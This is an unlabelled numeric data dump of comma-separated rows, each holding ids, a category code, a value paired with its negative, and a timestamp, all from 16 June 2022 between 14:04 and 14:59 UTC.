+54041,1,13848,6.276874557,-6.276874557,2022-06-16 14:14:59.898528+00 +61094,6,14880,10.46348041,-10.46348041,2022-06-16 14:46:50.22724+00 +54253,4,13915,4.003301062,-4.003301062,2022-06-16 14:16:23.183304+00 +52396,3,13563,5.250258963,-5.250258963,2022-06-16 14:04:31.28049+00 +52397,4,13590,13.27309412,-13.27309412,2022-06-16 14:04:31.286279+00 +54254,4,13899,13.5858021,-13.5858021,2022-06-16 14:16:23.18656+00 +52399,6,13581,10.78065902,-10.78065902,2022-06-16 14:04:32.599392+00 +54255,4,13947,0.728979098,-0.728979098,2022-06-16 14:16:23.18744+00 +52401,6,13589,6.361334453,-6.361334453,2022-06-16 14:04:37.624668+00 +54256,4,13931,0.79972107,-0.79972107,2022-06-16 14:16:23.188305+00 +52403,6,13597,4.937496073,-4.937496073,2022-06-16 14:04:39.604137+00 +52404,3,13293,4.214332992,-4.214332992,2022-06-16 14:04:40.3184+00 +52406,6,13613,0.802558034,-0.802558034,2022-06-16 14:04:44.831584+00 +52407,1,13597,8.995707833,-8.995707833,2022-06-16 14:04:44.8398+00 +52408,1,13613,1.655083309,-1.655083309,2022-06-16 14:04:44.842941+00 +52409,1,13529,4.802933082,-4.802933082,2022-06-16 14:04:44.843742+00 +52410,1,13553,5.221387928,-5.221387928,2022-06-16 14:04:44.844491+00 +52411,1,13629,2.862251943,-2.862251943,2022-06-16 14:04:44.845258+00 +52412,1,13564,12.14448097,-12.14448097,2022-06-16 14:04:44.845979+00 +52413,1,13548,12.41416246,-12.41416246,2022-06-16 14:04:44.846762+00 +52414,1,13545,4.738813468,-4.738813468,2022-06-16 14:04:44.847405+00 +52416,6,13629,1.410201548,-1.410201548,2022-06-16 14:04:46.832413+00 +52417,1,13568,0.915643282,-0.915643282,2022-06-16 14:04:47.853275+00 +52418,1,13530,10.23222709,-10.23222709,2022-06-16 14:04:47.856874+00 +52419,1,13555,11.18800107,-11.18800107,2022-06-16 14:04:47.857861+00 +52420,1,13531,5.645979637,-5.645979637,2022-06-16 14:04:47.858829+00 +52421,1,13554,10.50607955,-10.50607955,2022-06-16 14:04:47.859756+00 +52422,1,13532,12.0080861,-12.0080861,2022-06-16 14:04:47.860669+00 +52423,6,13598,9.616617381,-9.616617381,2022-06-16 14:04:49.290781+00 +61485,4,15023,0.964089691,-0.964089691,2022-06-16 14:48:12.420074+00 +54690,2,14079,2.131885368,-2.131885368,2022-06-16 14:19:05.856816+00 +61486,4,14976,1.083998109,-1.083998109,2022-06-16 14:48:12.423292+00 +61487,4,15007,4.771233726,-4.771233726,2022-06-16 14:48:12.424157+00 +61488,4,14941,5.061986264,-5.061986264,2022-06-16 14:48:12.425008+00 +61489,4,14925,11.90384862,-11.90384862,2022-06-16 14:48:12.425786+00 +61490,4,14957,0.655279984,0,2022-06-16 14:48:12.42657+00 +61491,4,14973,1.667853282,-1.667853282,2022-06-16 14:48:12.427538+00 +55018,6,14143,3.102790658,-3.102790658,2022-06-16 14:21:01.580147+00 +55019,6,14142,3.07864801,-3.07864801,2022-06-16 14:21:01.583465+00 +55058,2,14127,2.584922928,-2.584922928,2022-06-16 14:21:05.422744+00 +58654,6,14623,9.727962269,-9.727962269,2022-06-16 14:36:32.015924+00 +55147,6,13968,27.03985155,-27.03985155,2022-06-16 14:21:58.17759+00 +55148,6,14032,26.9749909,-26.9749909,2022-06-16 14:21:58.180957+00 +55236,3,14191,7.231904942,-7.231904942,2022-06-16 14:22:06.236841+00 +55270,1,14130,9.916733819,-9.916733819,2022-06-16 14:22:14.926796+00 +55271,1,14106,9.882646316,-9.882646316,2022-06-16 14:22:14.927965+00 +55272,1,14122,2.185996387,-2.185996387,2022-06-16 14:22:14.928757+00 +64013,2,15294,2.171312508,-2.171312508,2022-06-16 14:57:06.710074+00 +56037,4,14104,7.986049709,-7.986049709,2022-06-16 14:25:30.336685+00 +61095,1,14973,2.934053417,-2.934053417,2022-06-16 14:46:51.139808+00 +61096,1,14941,8.216103728,-8.216103728,2022-06-16 14:46:51.143223+00 +61097,1,14957,1.175374309,0,2022-06-16 14:46:51.144101+00 +61125,1,14875,5.394675952,-5.394675952,2022-06-16 14:46:57.140344+00 +57883,2,14527,2.262476179,-2.262476179,2022-06-16 14:33:06.213009+00 +61126,1,14899,10.23677914,-10.23677914,2022-06-16 14:46:57.14158+00 +61174,2,14958,1.568874606,-1.568874606,2022-06-16 14:47:05.705896+00 +56048,4,14168,7.962844549,-7.962844549,2022-06-16 14:25:37.369308+00 +56049,4,14185,7.966779327,-7.966779327,2022-06-16 14:25:42.921576+00 +56050,4,14193,8.64131307,-8.64131307,2022-06-16 14:25:44.173722+00 +56051,4,14169,8.023239702,-8.023239702,2022-06-16 14:25:48.950235+00 +58167,6,14590,3.033478264,-3.033478264,2022-06-16 14:34:18.084771+00 +61667,4,15031,9.961132844,-9.961132844,2022-06-16 14:49:01.903399+00 +58739,6,14571,1.943037293,-1.943037293,2022-06-16 14:36:53.654433+00 +56068,6,14112,11.97576414,-11.97576414,2022-06-16 14:25:58.684296+00 +56069,6,14176,11.91986057,-11.91986057,2022-06-16 14:25:58.687713+00 +56070,4,14136,8.698444889,-8.698444889,2022-06-16 14:25:58.693931+00 +62011,6,15035,1.499764184,0,2022-06-16 14:50:09.763136+00 +62032,4,14997,6.084017306,-6.084017306,2022-06-16 14:50:14.053269+00 +56075,6,14301,4.516523418,-4.516523418,2022-06-16 14:26:03.519636+00 +62056,6,15071,9.006971052,-9.006971052,2022-06-16 14:50:18.54627+00 +59073,6,14677,5.24877578,-5.24877578,2022-06-16 14:38:21.912827+00 +59126,1,14643,10.41683975,-10.41683975,2022-06-16 14:38:42.03439+00 +59127,1,14619,5.427990384,-5.427990384,2022-06-16 14:38:42.035913+00 +62090,4,14995,5.05142165,-5.05142165,2022-06-16 14:50:25.14952+00 +59254,2,14703,1.919418678,-1.919418678,2022-06-16 14:39:06.275668+00 +56085,3,14271,6.489193049,-6.489193049,2022-06-16 14:26:04.882252+00 +59255,2,14634,2.125090336,-2.125090336,2022-06-16 14:39:06.279115+00 +62266,2,15071,7.305641832,-7.305641832,2022-06-16 14:51:05.74229+00 +59499,4,14698,3.531905111,-3.531905111,2022-06-16 14:40:17.485204+00 +56104,6,14318,3.200940672,-3.200940672,2022-06-16 14:26:05.746826+00 +62574,4,15069,4.955034637,-4.955034637,2022-06-16 14:52:13.662779+00 +62575,4,15085,0.648735835,0,2022-06-16 14:52:13.666146+00 +62576,4,15101,1.636629295,-1.636629295,2022-06-16 14:52:13.667012+00 +62577,4,15053,11.82116915,-11.82116915,2022-06-16 14:52:13.667763+00 +62578,4,15151,0.903056933,-0.903056933,2022-06-16 14:52:13.668609+00 +62579,4,15167,1.383799956,-1.383799956,2022-06-16 14:52:13.669354+00 +62580,4,15135,4.828352172,-4.828352172,2022-06-16 14:52:13.670105+00 +62581,4,15061,6.029924925,-6.029924925,2022-06-16 14:52:13.670818+00 +62606,4,15082,3.07077772,-3.07077772,2022-06-16 14:52:20.151739+00 +56117,6,14319,3.362663845,-3.362663845,2022-06-16 14:26:05.946533+00 +62607,4,15051,13.09157985,-13.09157985,2022-06-16 14:52:20.152807+00 +62608,4,15083,0.430029797,0,2022-06-16 14:52:20.153782+00 +62609,4,15091,7.261280904,-7.261280904,2022-06-16 14:52:20.154489+00 +62626,6,15099,1.507799785,0,2022-06-16 14:52:20.640497+00 +62632,4,15099,0.429439221,0,2022-06-16 14:52:21.487299+00 +62633,4,15067,3.621378764,-3.621378764,2022-06-16 14:52:21.488168+00 +56135,6,14334,2.97725295,-2.97725295,2022-06-16 14:26:06.283425+00 +56140,6,14335,3.058897745,-3.058897745,2022-06-16 14:26:06.364863+00 +62837,2,15088,1.887578185,0,2022-06-16 14:53:05.356801+00 +62838,2,15065,8.556948041,-8.556948041,2022-06-16 14:53:05.360641+00 +57135,4,14357,6.666978514,-6.666978514,2022-06-16 14:30:14.974582+00 +60668,2,14848,3.022925724,-3.022925724,2022-06-16 14:45:05.405716+00 +60669,2,14809,8.952672811,-8.952672811,2022-06-16 14:45:05.409213+00 +60670,2,14810,11.02671535,-11.02671535,2022-06-16 14:45:05.410221+00 +60671,2,14834,10.56322858,-10.56322858,2022-06-16 14:45:05.411133+00 +57673,1,14427,5.471130321,-5.471130321,2022-06-16 14:32:18.018218+00 +57674,1,14459,0.850810215,-0.850810215,2022-06-16 14:32:18.021415+00 +57675,1,14451,10.52976618,-10.52976618,2022-06-16 14:32:18.022275+00 +57676,1,14443,0.965092318,-0.965092318,2022-06-16 14:32:18.023169+00 +58168,1,14512,0.457159091,0,2022-06-16 14:34:21.056501+00 +58169,1,14496,4.035179399,-4.035179399,2022-06-16 14:34:21.060065+00 +58170,1,14528,0.793583156,-0.793583156,2022-06-16 14:34:21.061009+00 +58372,2,14523,2.642364925,-2.642364925,2022-06-16 14:35:14.575075+00 +61565,6,15007,9.446406807,-9.446406807,2022-06-16 14:48:44.273501+00 +61668,4,14880,5.22513187,-5.22513187,2022-06-16 14:49:03.600269+00 +58957,6,14376,24.65259176,-24.65259176,2022-06-16 14:38:02.806502+00 +58958,6,14440,24.57795613,-24.57795613,2022-06-16 14:38:02.809934+00 +58959,6,14504,24.5032062,-24.5032062,2022-06-16 14:38:02.810893+00 +58960,6,14568,24.42834721,-24.42834721,2022-06-16 14:38:02.812513+00 +59026,4,14605,12.10979791,-12.10979791,2022-06-16 14:38:11.305508+00 +59027,4,14653,1.746877261,-1.746877261,2022-06-16 14:38:11.306806+00 +59028,4,14719,1.402305219,-1.402305219,2022-06-16 14:38:11.307717+00 +59029,4,14637,0.670914016,0,2022-06-16 14:38:11.308439+00 +59030,4,14621,5.2900649,-5.2900649,2022-06-16 14:38:11.309125+00 +59031,4,14703,1.207276518,-1.207276518,2022-06-16 14:38:11.309843+00 +59032,4,14687,4.953813802,-4.953813802,2022-06-16 14:38:11.310562+00 +62445,6,15016,23.51601997,-23.51601997,2022-06-16 14:51:37.844119+00 +62551,3,15151,4.797752017,-4.797752017,2022-06-16 14:52:06.108766+00 +62583,6,15117,10.05497601,-10.05497601,2022-06-16 14:52:14.33755+00 +62631,6,15133,4.002663336,-4.002663336,2022-06-16 14:52:21.282641+00 +62634,1,15125,9.637009483,-9.637009483,2022-06-16 14:52:24.193865+00 +62635,1,15068,10.16592027,-10.16592027,2022-06-16 14:52:24.195024+00 +62636,1,15100,10.15875144,-10.15875144,2022-06-16 14:52:24.195767+00 +62637,1,15084,10.40421122,-10.40421122,2022-06-16 14:52:24.196464+00 +62681,1,15067,5.356485349,-5.356485349,2022-06-16 14:52:27.193244+00 +62682,1,15089,4.15804469,-4.15804469,2022-06-16 14:52:27.1945+00 +62683,1,15065,3.82553179,-3.82553179,2022-06-16 14:52:27.195712+00 +62684,1,15090,8.973485238,-8.973485238,2022-06-16 14:52:27.196425+00 +62685,1,15083,0.669489021,0,2022-06-16 14:52:27.197166+00 +62686,1,15081,3.779854402,-3.779854402,2022-06-16 14:52:27.198004+00 +62687,1,15091,10.13164597,-10.13164597,2022-06-16 14:52:27.198719+00 +62688,1,15099,0.668059755,0,2022-06-16 14:52:27.19953+00 +62689,1,15066,9.360191509,-9.360191509,2022-06-16 14:52:27.20027+00 +62690,1,15082,1.475611335,-1.475611335,2022-06-16 14:52:27.20101+00 +62761,6,15056,25.67607478,-25.67607478,2022-06-16 14:52:41.463039+00 +62762,1,15104,0.818811583,-0.818811583,2022-06-16 14:52:42.191272+00 +62774,7,15082,3.023384217,-3.023384217,2022-06-16 14:52:48.252618+00 +62803,1,15088,0.460992404,0,2022-06-16 14:52:54.193393+00 +62839,2,15066,10.72160491,-10.72160491,2022-06-16 14:53:05.361526+00 +62840,2,15089,9.152897439,-9.152897439,2022-06-16 14:53:05.362391+00 +62841,2,15090,10.27147582,-10.27147582,2022-06-16 14:53:05.363191+00 +62842,2,15134,6.502297124,-6.502297124,2022-06-16 14:53:05.363955+00 +56147,3,14318,7.487539954,-7.487539954,2022-06-16 14:26:06.639891+00 +64370,4,15291,0.425149484,0,2022-06-16 14:58:21.142211+00 +56153,3,14255,6.980419329,-6.980419329,2022-06-16 14:26:06.798134+00 +56154,3,14319,6.929767158,-6.929767158,2022-06-16 14:26:06.801526+00 +56160,4,14302,4.927322184,-4.927322184,2022-06-16 14:26:09.025614+00 +56161,4,14200,8.672317327,-8.672317327,2022-06-16 14:26:09.029081+00 +56162,4,14334,1.461218578,-1.461218578,2022-06-16 14:26:09.030001+00 +56163,4,14318,1.564283519,-1.564283519,2022-06-16 14:26:09.030805+00 +56164,4,14256,0.616241258,0,2022-06-16 14:26:09.031621+00 +56165,4,14272,1.114277285,-1.114277285,2022-06-16 14:26:09.032592+00 +56195,4,14165,6.793869288,-6.793869288,2022-06-16 14:26:13.016805+00 +56217,1,14272,0.821286563,-0.821286563,2022-06-16 14:26:17.932739+00 +56218,1,14319,1.806592028,-1.806592028,2022-06-16 14:26:17.93387+00 +56219,1,14318,1.572570611,-1.572570611,2022-06-16 14:26:17.934555+00 +56220,1,14302,4.942309675,-4.942309675,2022-06-16 14:26:17.935219+00 +56221,1,14334,1.466612641,-1.466612641,2022-06-16 14:26:17.936176+00 +56222,1,14256,0.452901407,0,2022-06-16 14:26:17.936835+00 +61100,1,14873,3.931232807,-3.931232807,2022-06-16 14:46:54.175625+00 +61101,1,14892,10.68104888,-10.68104888,2022-06-16 14:46:54.178918+00 +61102,1,14897,4.268098669,-4.268098669,2022-06-16 14:46:54.179748+00 +61103,1,14874,9.560598183,-9.560598183,2022-06-16 14:46:54.180507+00 +57886,2,14425,9.534555916,-9.534555916,2022-06-16 14:33:06.271554+00 +61104,1,14876,10.38743659,-10.38743659,2022-06-16 14:46:54.181294+00 +61105,1,14908,10.3796991,-10.3796991,2022-06-16 14:46:54.182039+00 +61106,1,14889,3.881225717,-3.881225717,2022-06-16 14:46:54.182841+00 +58312,2,14528,3.200914592,-3.200914592,2022-06-16 14:35:05.334117+00 +58313,2,14489,9.46259854,-9.46259854,2022-06-16 14:35:05.337387+00 +58314,2,14490,11.06407329,-11.06407329,2022-06-16 14:35:05.338188+00 +58315,2,14505,9.356988322,-9.356988322,2022-06-16 14:35:05.338965+00 +58316,2,14506,2.213723398,-2.213723398,2022-06-16 14:35:05.339725+00 +58317,2,14513,10.09081423,-10.09081423,2022-06-16 14:35:05.340471+00 +58318,2,14514,10.78152696,-10.78152696,2022-06-16 14:35:05.34124+00 +58694,6,14592,2.77306756,-2.77306756,2022-06-16 14:36:42.414478+00 +58723,1,14569,4.066515755,-4.066515755,2022-06-16 14:36:51.031768+00 +58724,1,14554,9.750359587,-9.750359587,2022-06-16 14:36:51.033011+00 +58725,1,14577,4.467651931,-4.467651931,2022-06-16 14:36:51.033777+00 +58726,1,14578,9.440511595,-9.440511595,2022-06-16 14:36:51.034509+00 +58727,1,14553,4.107545012,-4.107545012,2022-06-16 14:36:51.035267+00 +58745,1,14547,7.394242637,-7.394242637,2022-06-16 14:36:54.032892+00 +58789,2,14638,1.932661502,-1.932661502,2022-06-16 14:37:05.802631+00 +59020,4,14702,1.279041395,-1.279041395,2022-06-16 14:38:09.163953+00 +59021,4,14686,4.754763354,-4.754763354,2022-06-16 14:38:09.167457+00 +59022,4,14718,1.487271408,-1.487271408,2022-06-16 14:38:09.168475+00 +59023,4,14640,0.623153292,0,2022-06-16 14:38:09.169268+00 +59024,4,14656,1.057060381,-1.057060381,2022-06-16 14:38:09.170083+00 +59047,1,14640,0.454757472,0,2022-06-16 14:38:12.032634+00 +59048,1,14702,1.258346218,-1.258346218,2022-06-16 14:38:12.033718+00 +59049,1,14718,1.517712238,-1.517712238,2022-06-16 14:38:12.034485+00 +59050,1,14686,4.769335621,-4.769335621,2022-06-16 14:38:12.035213+00 +59051,1,14656,0.773036017,-0.773036017,2022-06-16 14:38:12.035882+00 +59075,6,14685,4.274964491,-4.274964491,2022-06-16 14:38:23.84386+00 +59096,1,14717,2.986661616,-2.986661616,2022-06-16 14:38:36.034465+00 +59097,1,14701,1.177716649,0,2022-06-16 14:38:36.036188+00 +59098,1,14685,8.372720697,-8.372720697,2022-06-16 14:38:36.037235+00 +62013,6,15101,1.314974553,-1.314974553,2022-06-16 14:50:10.187799+00 +59128,1,14634,1.782183525,-1.782183525,2022-06-16 14:38:45.03926+00 +59129,1,14642,9.40039966,-9.40039966,2022-06-16 14:38:45.040506+00 +59130,1,14618,9.716007021,-9.716007021,2022-06-16 14:38:45.041367+00 +59156,4,14679,12.68246457,-12.68246457,2022-06-16 14:38:55.333191+00 +62144,6,15024,1.477225494,0,2022-06-16 14:50:46.517553+00 +62170,1,15008,3.871586507,-3.871586507,2022-06-16 14:50:51.140557+00 +62348,2,15017,8.555112773,-8.555112773,2022-06-16 14:51:14.31925+00 +59629,6,14699,1.844364862,-1.844364862,2022-06-16 14:40:55.072749+00 +59682,2,14766,1.783615372,-1.783615372,2022-06-16 14:41:05.780315+00 +59683,2,14767,1.798814771,-1.798814771,2022-06-16 14:41:05.783794+00 +62421,4,15017,6.954683655,-6.954683655,2022-06-16 14:51:31.844289+00 +62422,4,15025,7.55157971,-7.55157971,2022-06-16 14:51:31.848247+00 +62446,4,15001,7.006620325,-7.006620325,2022-06-16 14:51:39.684626+00 +56167,6,14317,0.540982261,0,2022-06-16 14:26:09.366535+00 +56694,6,14336,2.97888622,-2.97888622,2022-06-16 14:28:28.95669+00 +56711,7,14255,17.65021185,-17.65021185,2022-06-16 14:28:32.247577+00 +64371,1,15343,0.80143194,0,2022-06-16 14:58:21.193547+00 +64372,1,15275,0.665109011,0,2022-06-16 14:58:21.197125+00 +64373,1,15327,5.520275771,-5.520275771,2022-06-16 14:58:21.197919+00 +64374,1,15291,0.665021606,0,2022-06-16 14:58:21.198686+00 +64604,2,15358,2.180402277,-2.180402277,2022-06-16 14:59:06.128228+00 +57679,6,14509,0.532652276,0,2022-06-16 14:32:18.914275+00 +61915,3,14954,3.710080457,-3.710080457,2022-06-16 14:49:59.617831+00 +58695,1,14637,1.175795677,0,2022-06-16 14:36:45.0676+00 +58696,1,14621,8.411799854,-8.411799854,2022-06-16 14:36:45.070877+00 +58697,1,14653,2.987154147,-2.987154147,2022-06-16 14:36:45.071739+00 +61999,1,15040,0.797312367,-0.797312367,2022-06-16 14:50:09.143535+00 +58826,2,14571,2.982146532,-2.982146532,2022-06-16 14:37:14.41658+00 +62000,1,15024,0.457458657,0,2022-06-16 14:50:09.145193+00 +62001,1,15070,4.628680131,-4.628680131,2022-06-16 14:50:09.146155+00 +62079,7,15022,13.56475573,-13.56475573,2022-06-16 14:50:21.571678+00 +59025,7,14574,15.44262153,-15.44262153,2022-06-16 14:38:09.296061+00 +59076,1,14719,1.691629817,-1.691629817,2022-06-16 14:38:24.061942+00 +59077,1,14687,5.841716531,-5.841716531,2022-06-16 14:38:24.065325+00 +59078,1,14703,1.456177151,-1.456177151,2022-06-16 14:38:24.066123+00 +62146,6,15061,4.981719779,-4.981719779,2022-06-16 14:50:47.127485+00 +62171,7,15018,3.108389524,-3.108389524,2022-06-16 14:50:53.284574+00 +62179,6,14954,3.841630148,-3.841630148,2022-06-16 14:50:56.14387+00 +59190,6,14719,3.10130965,-3.10130965,2022-06-16 14:38:59.734935+00 +59608,3,14699,4.033386731,-4.033386731,2022-06-16 14:40:52.668738+00 +59655,2,14704,1.904135057,0,2022-06-16 14:41:05.204093+00 +59709,1,14632,14.12394293,-14.12394293,2022-06-16 14:41:10.520308+00 +59710,1,14568,14.07989478,-14.07989478,2022-06-16 14:41:10.523553+00 +59730,1,14741,9.917977409,-9.917977409,2022-06-16 14:41:24.112374+00 +62611,6,15088,1.454564152,0,2022-06-16 14:52:20.194101+00 +62627,1,15149,1.178336401,0,2022-06-16 14:52:21.193564+00 +62628,1,15133,8.112203203,-8.112203203,2022-06-16 14:52:21.194751+00 +59803,4,14681,7.393388087,-7.393388087,2022-06-16 14:41:38.819027+00 +59804,4,14697,7.308754318,-7.308754318,2022-06-16 14:41:38.822541+00 +62629,1,15165,2.892505553,-2.892505553,2022-06-16 14:52:21.195574+00 +62643,6,15135,8.926509869,-8.926509869,2022-06-16 14:52:25.283868+00 +62813,3,15083,3.255239085,0,2022-06-16 14:52:59.599722+00 +62905,2,15081,8.447090014,-8.447090014,2022-06-16 14:53:14.331628+00 +62920,2,15099,2.309560053,0,2022-06-16 14:53:14.627987+00 +60006,1,14763,0.826344054,-0.826344054,2022-06-16 14:42:18.110499+00 +60007,1,14764,10.83536015,-10.83536015,2022-06-16 14:42:18.113809+00 +60008,1,14780,10.54800764,-10.54800764,2022-06-16 14:42:18.114688+00 +60009,1,14747,5.405274943,-5.405274943,2022-06-16 14:42:18.115494+00 +60027,1,14748,10.52083162,-10.52083162,2022-06-16 14:42:24.084288+00 +60028,1,14770,9.252386476,-9.252386476,2022-06-16 14:42:24.085517+00 +60029,1,14771,10.32324576,-10.32324576,2022-06-16 14:42:24.086352+00 +60030,1,14779,0.67349898,0,2022-06-16 14:42:24.087028+00 +64243,3,15295,7.010040337,-7.010040337,2022-06-16 14:58:05.207141+00 +64305,1,15358,1.464093537,-1.464093537,2022-06-16 14:58:12.193614+00 +64306,1,15342,0.714006421,0,2022-06-16 14:58:12.19481+00 +57755,3,14459,3.921311921,-3.921311921,2022-06-16 14:32:48.433174+00 +56185,4,14319,1.502690409,-1.502690409,2022-06-16 14:26:10.793307+00 +56186,4,14303,5.15774429,-5.15774429,2022-06-16 14:26:10.79676+00 +56187,4,14253,0.694659639,0,2022-06-16 14:26:10.7976+00 +56188,4,14335,1.376048675,-1.376048675,2022-06-16 14:26:10.798421+00 +56189,4,14221,12.36108046,-12.36108046,2022-06-16 14:26:10.799326+00 +56190,4,14269,1.85219404,-1.85219404,2022-06-16 14:26:10.800278+00 +56191,4,14237,5.582075655,-5.582075655,2022-06-16 14:26:10.801195+00 +58243,3,14523,3.782995682,-3.782995682,2022-06-16 14:34:49.642687+00 +58269,4,14456,8.776074444,-8.776074444,2022-06-16 14:34:56.430746+00 +58302,1,14483,7.420031975,-7.420031975,2022-06-16 14:35:03.048444+00 +58744,6,14587,1.641563091,-1.641563091,2022-06-16 14:36:53.867741+00 +58864,7,14639,15.77929325,-15.77929325,2022-06-16 14:37:31.942135+00 +59080,2,14637,2.661953923,0,2022-06-16 14:38:24.328685+00 +59110,6,14718,3.063682071,-3.063682071,2022-06-16 14:38:36.760231+00 +62147,2,15082,1.843809115,-1.843809115,2022-06-16 14:50:48.844439+00 +59158,6,14632,24.30664064,-24.30664064,2022-06-16 14:38:55.389218+00 +59227,2,14687,7.383328773,-7.383328773,2022-06-16 14:39:05.610456+00 +62351,2,15018,1.808097951,-1.808097951,2022-06-16 14:51:14.378542+00 +59371,6,14715,1.473835425,0,2022-06-16 14:40:04.095077+00 +62660,6,15151,1.88281979,-1.88281979,2022-06-16 14:52:25.796559+00 +62678,6,15166,2.952812257,-2.952812257,2022-06-16 14:52:26.337891+00 +62697,1,15059,7.23818156,-7.23818156,2022-06-16 14:52:33.191249+00 +60011,6,14829,0.521945149,0,2022-06-16 14:42:18.929702+00 +56193,6,14333,1.455342388,-1.455342388,2022-06-16 14:26:11.442048+00 +56194,1,14250,2.086180558,-2.086180558,2022-06-16 14:26:11.961948+00 +60502,4,14741,6.266820763,-6.266820763,2022-06-16 14:44:15.740835+00 +56204,1,14251,1.043576561,-1.043576561,2022-06-16 14:26:14.954266+00 +56205,1,14267,0.936606838,-0.936606838,2022-06-16 14:26:14.958004+00 +56206,4,14250,4.046520978,-4.046520978,2022-06-16 14:26:16.31233+00 +60676,2,14878,6.658878414,-6.658878414,2022-06-16 14:45:05.523841+00 +56211,6,14251,2.155360525,-2.155360525,2022-06-16 14:26:17.622116+00 +57528,3,14378,4.369919036,-4.369919036,2022-06-16 14:31:59.867121+00 +60886,2,14825,8.818825885,-8.818825885,2022-06-16 14:46:05.323943+00 +56216,6,14267,1.939881539,-1.939881539,2022-06-16 14:26:17.839697+00 +56223,1,14335,1.657112563,-1.657112563,2022-06-16 14:26:20.957724+00 +56224,1,14303,6.056757702,-6.056757702,2022-06-16 14:26:20.961071+00 +56225,4,14259,7.998760569,-7.998760569,2022-06-16 14:26:23.763917+00 +56226,4,14251,0.701659768,-0.701659768,2022-06-16 14:26:23.765199+00 +56227,4,14267,0.628313366,-0.628313366,2022-06-16 14:26:23.766039+00 +56228,4,14219,13.44938439,-13.44938439,2022-06-16 14:26:23.766904+00 +56229,4,14235,3.888901714,-3.888901714,2022-06-16 14:26:23.76778+00 +56234,2,14253,2.573204488,0,2022-06-16 14:26:24.415325+00 +57998,4,14425,7.6989888,-7.6989888,2022-06-16 14:33:48.924171+00 +57999,4,14449,8.270242813,-8.270242813,2022-06-16 14:33:48.927373+00 +58053,6,14575,2.921792877,-2.921792877,2022-06-16 14:34:05.318935+00 +56239,4,14227,5.435091671,-5.435091671,2022-06-16 14:26:30.737192+00 +58175,2,14509,2.6330266,0,2022-06-16 14:34:24.427354+00 +58183,4,14515,7.768244006,-7.768244006,2022-06-16 14:34:25.390899+00 +56243,6,14302,8.969504505,-8.969504505,2022-06-16 14:26:36.627231+00 +58184,4,14523,0.541709562,-0.541709562,2022-06-16 14:34:25.39216+00 +58185,4,14491,3.814873208,-3.814873208,2022-06-16 14:34:25.393004+00 +58186,4,14475,13.33279085,-13.33279085,2022-06-16 14:34:25.393835+00 +61673,2,14976,3.16556549,-3.16556549,2022-06-16 14:49:05.231512+00 +58699,6,14605,10.30239096,-10.30239096,2022-06-16 14:36:45.158127+00 +56258,1,14333,3.061372283,-3.061372283,2022-06-16 14:26:38.956071+00 +56259,1,14317,1.175262523,0,2022-06-16 14:26:38.95946+00 +56260,1,14301,8.56772365,-8.56772365,2022-06-16 14:26:38.960328+00 +56264,6,14303,9.959425444,-9.959425444,2022-06-16 14:26:43.009273+00 +58930,4,14569,7.461625266,-7.461625266,2022-06-16 14:37:47.703515+00 +58931,4,14553,7.527360413,-7.527360413,2022-06-16 14:37:47.707001+00 +62062,6,15079,22.97444906,-22.97444906,2022-06-16 14:50:18.793792+00 +56271,3,13997,3.218190504,0,2022-06-16 14:26:43.1766+00 +62091,7,14958,13.17985838,-13.17985838,2022-06-16 14:50:25.622525+00 +59125,6,14608,26.33039468,-26.33039468,2022-06-16 14:38:40.414629+00 +59159,1,14624,3.983017651,-3.983017651,2022-06-16 14:38:57.063705+00 +59160,1,14648,7.311865353,-7.311865353,2022-06-16 14:38:57.067075+00 +62149,6,15069,4.037298229,-4.037298229,2022-06-16 14:50:49.04504+00 +62181,6,15008,10.14771321,-10.14771321,2022-06-16 14:50:56.191246+00 +56282,6,14285,10.44641611,-10.44641611,2022-06-16 14:26:43.534516+00 +59538,6,14704,1.583064178,0,2022-06-16 14:40:24.361899+00 +56304,3,14251,4.68808051,-4.68808051,2022-06-16 14:26:44.115344+00 +56314,3,14267,4.245282633,-4.245282633,2022-06-16 14:26:44.79281+00 +56315,1,14258,9.779742011,-9.779742011,2022-06-16 14:26:44.928029+00 +56316,1,14257,4.686284827,-4.686284827,2022-06-16 14:26:44.931678+00 +56317,1,14233,4.30691574,-4.30691574,2022-06-16 14:26:44.93256+00 +56318,1,14234,9.837718638,-9.837718638,2022-06-16 14:26:44.933412+00 +56319,1,14249,4.2542446,-4.2542446,2022-06-16 14:26:44.934254+00 +56320,1,14252,11.49170042,-11.49170042,2022-06-16 14:26:44.93521+00 +56321,1,14268,11.19222957,-11.19222957,2022-06-16 14:26:44.936122+00 +60013,4,14731,13.25537675,-13.25537675,2022-06-16 14:42:19.941577+00 +56816,2,14383,2.251684438,-2.251684438,2022-06-16 14:29:07.263968+00 +64492,7,15274,2.805045312,-2.805045312,2022-06-16 14:58:43.821969+00 +60511,4,14843,0.440481083,0,2022-06-16 14:44:23.78197+00 +60512,4,14835,7.47647595,-7.47647595,2022-06-16 14:44:23.785213+00 +60513,4,14827,0.517038653,-0.517038653,2022-06-16 14:44:23.78609+00 +57319,6,14314,4.500068862,-4.500068862,2022-06-16 14:30:53.341232+00 +60514,4,14795,13.2460905,-13.2460905,2022-06-16 14:44:23.786871+00 +60515,4,14811,3.697247043,-3.697247043,2022-06-16 14:44:23.787656+00 +57529,7,14378,3.792769349,-3.792769349,2022-06-16 14:32:00.45353+00 +60535,4,14803,5.112978911,-5.112978911,2022-06-16 14:44:31.181074+00 +64539,4,15273,6.683330304,-6.683330304,2022-06-16 14:58:52.681001+00 +64608,2,15359,2.259648836,-2.259648836,2022-06-16 14:59:06.210899+00 +60817,4,14825,7.189077474,-7.189077474,2022-06-16 14:45:34.875728+00 +60818,4,14833,7.783562505,-7.783562505,2022-06-16 14:45:34.879155+00 +58000,6,14442,4.403165631,-4.403165631,2022-06-16 14:33:49.730785+00 +61112,3,14891,3.569505734,-3.569505734,2022-06-16 14:46:56.13022+00 +61181,2,14959,1.595500924,-1.595500924,2022-06-16 14:47:05.868982+00 +58512,3,14506,4.223341306,-4.223341306,2022-06-16 14:35:59.658617+00 +58700,1,14504,14.4241085,-14.4241085,2022-06-16 14:36:46.503528+00 +61571,6,15006,8.392960778,-8.392960778,2022-06-16 14:48:44.418112+00 +59082,6,14701,0.526161935,0,2022-06-16 14:38:28.98199+00 +59162,6,14687,9.682601381,-9.682601381,2022-06-16 14:38:58.874607+00 +62018,4,15021,0.65259848,0,2022-06-16 14:50:12.446387+00 +62019,4,15037,1.651939629,-1.651939629,2022-06-16 14:50:12.449859+00 +62020,4,14989,11.86765869,-11.86765869,2022-06-16 14:50:12.450668+00 +62021,4,15005,4.990707118,-4.990707118,2022-06-16 14:50:12.45192+00 +62022,4,15071,4.85811718,-4.85811718,2022-06-16 14:50:12.452736+00 +62023,4,15087,0.926666069,-0.926666069,2022-06-16 